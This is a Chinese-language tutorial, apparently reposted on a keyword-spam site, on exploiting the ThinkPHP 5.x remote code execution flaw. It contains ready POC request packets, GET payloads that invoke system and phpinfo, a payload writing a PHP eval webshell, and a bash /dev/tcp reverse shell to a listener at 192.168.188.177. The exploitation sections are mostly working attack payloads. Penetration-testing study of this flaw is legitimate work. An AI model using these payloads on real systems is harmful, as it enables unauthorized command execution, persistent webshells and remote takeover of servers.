当前位置: 首页 > news >正文

怎么做网站教程 建站视频百度新闻官网首页

怎么做网站教程 建站视频,百度新闻官网首页,化学网站定制,三分钟短视频策划方案文章目录 一、什么是框架?二、导致框架漏洞原因二、使用步骤三、ThinkPHP介绍四、Thinkphp框架特征五、Thinkphp5.0.23 远程代码执行1、漏洞影响范围2、漏洞成因 六、POC数据包Windows下的Linux下的 七、漏洞手工复现1、先Burp抓包,把抓到的请求包发送到…

文章目录

  • 一、什么是框架?
  • 二、导致框架漏洞原因
  • 二、使用步骤三、ThinkPHP介绍
  • 四、Thinkphp框架特征
  • 五、Thinkphp5.0.23 远程代码执行
    • 1、漏洞影响范围
    • 2、漏洞成因
  • 六、POC数据包
    • Windows下的
    • Linux下的
  • 七、漏洞手工复现
    • 1、先Burp抓包,把抓到的请求包发送到重放模块
    • 2、把数据包改成POST请求
    • 3、按照POC构造请求包,然后重放
    • 4、写入shell
    • 5、反弹shell
      • 1)建立监听
      • 2)发送POC请求包
      • 3)返回监听端查看,发现shell已经反弹回来了
  • 八、漏洞工具复现
    • 1、工具
    • 2、脚本
  • 九、扩展-反弹shell


一、什么是框架?

简言之,别人帮你建好了房子但尚未装修,你需要在别人设计好的户型里去装修,省去你搬砖的重复性操作。


二、导致框架漏洞原因

框架存在环境缺陷,使用了不安全的版本从而导致的。


二、使用步骤三、ThinkPHP介绍

------ ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。

------ 从数据来看,thinkphp 3系列版本的漏洞多是2016/2017年被爆出,而ThinkPHP 5系列版本的漏洞基本为2017/2018年被爆出,从2020年开始,ThinkPHP 6系列的漏洞也开始被挖掘。

------ 根据ThinkPHP版本,如是5.x版本,即可使用ThinkPHP 5.x远程代码执行漏洞,无需登录,即可执行任意命令,获取服务器最高权限。
在这里插入图片描述


四、Thinkphp框架特征

  • 报错会出现以下样式的
    在这里插入图片描述
    在这里插入图片描述
  • 网站icon存在下面图标的
    在这里插入图片描述

五、Thinkphp5.0.23 远程代码执行

1、漏洞影响范围

版本是:
5.x < 5.1.31
Thinkphp 5.0.x<= 5.0.23

2、漏洞成因

------ 该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞


六、POC数据包

Windows下的

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]= id 
  • POC参数解析
    • _method=__construct 为了能够进入construct,从而覆盖变量
    • filter[]=system 覆盖变量
    • method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
    • s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
    • get[]=id 覆盖变量

Linux下的

_method=__construct&filter[]=system&method=get&get[]=pwd
  • GET请求的:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
  • 写入shell
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_POST[cmd]);?^> >shell.php

七、漏洞手工复现

1、先Burp抓包,把抓到的请求包发送到重放模块

在这里插入图片描述

2、把数据包改成POST请求

在这里插入图片描述
在这里插入图片描述

3、按照POC构造请求包,然后重放

这里就使用pwd命令来查看路径
在这里插入图片描述
在这里插入图片描述

4、写入shell

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > 1.php

在这里插入图片描述
在这里插入图片描述
这样子就写下来了。

5、反弹shell

POC(需进行url编码)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.188.177/9999+0>%261"

1)建立监听

在这里插入图片描述

2)发送POC请求包

在这里插入图片描述

3)返回监听端查看,发现shell已经反弹回来了

在这里插入图片描述


八、漏洞工具复现

1、工具

在这里插入图片描述
在这里插入图片描述

2、脚本

在这里插入图片描述
在这里插入图片描述

这里要注意,在windows操作时,要写入shell时,直接在cmd里面操作,控制台不会直接识别 < 、’ 、” 等特殊符号,这时就需要使用 ^ 来进行转义。

例如下面这个写入shell是无法执行的:
在这里插入图片描述
这时使用 ^ 来进行转义就可以识别了
在这里插入图片描述


九、扩展-反弹shell

  • 什么是反弹shell(reverse shell)?
    就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转。

  • 为什么需要反弹shell?
    反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。


http://www.mmbaike.com/news/68102.html

相关文章:

  • 环境设计网站推荐关键词优化公司哪家效果好
  • 做网站需要哪些步骤网站管理与维护
  • 教务系统网站建设模板下载搜索引擎营销的特点是
  • 香港空间做电影网站怎么样代写文章兼职
  • 网站开发常用语言总结近期网络营销的热点事件
  • html php做新闻网站seo技术培训课程
  • ASP.NET动态网站开发技术实用教程全网营销方案
  • 网站建设主要营销内客中央下令全国各地核酸检测
  • 网站建设的公司系统规划方案人力资源短期培训班
  • 做毕设靠谱的网站武汉seo网站优化运营
  • 如何进行网站建设深圳网站建设维护
  • 做网站怎么销售百度销售岗位怎么样
  • 织梦三级代码调用网站微信朋友圈广告投放收费标准
  • 武汉装修网站建设分发平台
  • 网站做聚合是啥意思网络推广app是干什么的
  • 郑州哪家网站建设好网页设计
  • 网站总类河南省网站
  • 怎么做动态网站页面什么叫做网络营销
  • 怎挖掘网站关键词苏州seo招聘
  • 怀安县网站建设网络推广的优化服务
  • 个人如何做微商城网站免费网站流量统计
  • 岫岩做网站浏览器网站大全
  • 在线做简单的网站吗外贸网站营销推广
  • 界面官方网站产品网络推广的方法有哪些
  • 做户外照明有哪些网站外链吧官网
  • 企业网站制作前期需要什么资料百度动态排名软件
  • 辽宁工程建设信息网站html底部友情链接代码
  • 找建网站模板雅思培训班价格一般多少
  • wordpress wp super cache新站seo优化快速上排名
  • 点样用外网访问自己做的网站公司网站推广运营